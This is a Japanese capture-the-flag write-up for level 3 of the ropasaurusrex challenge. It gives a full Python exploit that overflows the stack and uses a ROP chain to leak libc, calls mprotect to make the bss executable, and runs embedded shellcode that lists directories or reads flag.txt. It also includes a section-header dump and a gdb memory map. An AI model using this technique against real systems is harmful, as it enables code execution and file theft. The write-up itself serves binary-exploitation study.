ropasaurusrexのwriteup [level 3]
今回はropasaurusrexのlevel3です。
今回はバイナリがchrootされていてsystem関数が使えないという状況です。
手段としてはreaddirとreadfileのシェルコードを実行させます。
先にプログラムを載せます。
#!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] shellcode_readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"./\x00" shellcode_readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag.txt" mode = raw_input('input "dir" or "file"\n') if (mode == 'dir'): shellcode = shellcode_readdir elif (mode == 'file'): shellcode = shellcode_readfile else: print 'exit.\n' quit() # --- main --- s, f = sock("localhost", 4088) # 接続 plt_write = 0x0804830c plt_read = 0x0804832c got_write = 0x8049614 offset_write = 0x000e5650 offset_mprotect = 0x000f2b70 pop3ret = 0x80484b6 bss_address = 0x08049628+0x500 bss_topaddress = 0x08049000 data_address = 0x08049620 leave = 0x080482ea buf = "A"*136 #returnアドレスまでの埋め草 buf += p(bss_address-4) buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss_address) buf += p(80) buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4) buf2 += p(plt_read) + p(pop3ret) + p(0) + p(bss_address+80) + p(len(shellcode)) buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4) buf2 += p(plt_write) + p(bss_address+80) + p(bss_topaddress) + p(0x1000) + p(7) f.write(buf) f.write(buf2) libc_top_address = u(f.read(4)) - offset_write mprotect_address = libc_top_address + offset_mprotect f.write(shellcode) f.write(p(mprotect_address)) shell(s)
新しい内容はmprotect近辺しかないです。
mprotectを使う意味はbssには書き込み権限と読み込み権限があるが実行権限がないためです。
mprotectのアドレスを調べる手順などはlevel1に書いたので省略。
mprotectの書式を見てみると
int mprotect(const void *addr, size_t len, int prot);
とあります。
mprotect() は、区間 [addr, addr+len-1] のアドレス範囲を含む 呼び出し元のプロセスのメモリーページのアクセス保護を変更する。 addr はページ境界に一致していなければならない。
セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048148 000148 000024 00 A 0 0 4 [ 4] .hash HASH 0804816c 00016c 00002c 04 A 6 0 4 [ 5] .gnu.hash GNU_HASH 08048198 000198 000020 04 A 6 0 4 [ 6] .dynsym DYNSYM 080481b8 0001b8 000060 10 A 7 1 4 [ 7] .dynstr STRTAB 08048218 000218 000050 00 A 0 0 1 [ 8] .gnu.version VERSYM 08048268 000268 00000c 02 A 6 0 2 [ 9] .gnu.version_r VERNEED 08048274 000274 000020 00 A 7 1 4 [10] .rel.dyn REL 08048294 000294 000008 08 A 6 0 4 [11] .rel.plt REL 0804829c 00029c 000020 08 A 6 13 4 [12] .init PROGBITS 080482bc 0002bc 000030 00 AX 0 0 4 [13] .plt PROGBITS 080482ec 0002ec 000050 04 AX 0 0 4 [14] .text PROGBITS 08048340 000340 0001ac 00 AX 0 0 16 [15] .fini PROGBITS 080484ec 0004ec 00001c 00 AX 0 0 4 [16] .rodata PROGBITS 08048508 000508 00000d 00 A 0 0 4 [17] .eh_frame PROGBITS 08048518 000518 000004 00 A 0 0 4 [18] .ctors PROGBITS 0804951c 00051c 000008 00 WA 0 0 4 [19] .dtors PROGBITS 08049524 000524 000008 00 WA 0 0 4 [20] .jcr PROGBITS 0804952c 00052c 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049530 000530 0000d0 08 WA 7 0 4 [22] .got PROGBITS 08049600 000600 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049604 000604 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049620 000620 000008 00 WA 0 0 4 [25] .bss NOBITS 08049628 000628 000008 00 WA 0 0 4 [26] .comment PROGBITS 00000000 000628 00001c 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 000644 0000de 00 0 0 1
正直、ここらへんまだ理解できてないのですが、bssアドレスの先頭はアドレスからoffsetを引いたもの。
つまり0x08049628-0x628であると予測します。
サイズはgdb-pedaでメモリマップを見て確認します。
gdb-peda$ i proc map process 13365 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3 0x8049000 0x804a000 0x1000 0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3 0xf7dce000 0xf7fa0000 0x1d2000 0x0 /lib32/libc-2.27.so 0xf7fa0000 0xf7fa1000 0x1000 0x1d2000 /lib32/libc-2.27.so 0xf7fa1000 0xf7fa3000 0x2000 0x1d2000 /lib32/libc-2.27.so 0xf7fa3000 0xf7fa4000 0x1000 0x1d4000 /lib32/libc-2.27.so 0xf7fa4000 0xf7fa7000 0x3000 0x0 0xf7fcf000 0xf7fd1000 0x2000 0x0 0xf7fd1000 0xf7fd4000 0x3000 0x0 [vvar] 0xf7fd4000 0xf7fd6000 0x2000 0x0 [vdso] 0xf7fd6000 0xf7ffc000 0x26000 0x0 /lib32/ld-2.27.so 0xf7ffc000 0xf7ffd000 0x1000 0x25000 /lib32/ld-2.27.so 0xf7ffd000 0xf7ffe000 0x1000 0x26000 /lib32/ld-2.27.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] gdb-peda$
引数を指定してmprotectが実行されたら最後にshellcodeのアドレスに飛んで終了です。
エクスプロイトするとこんな感じです。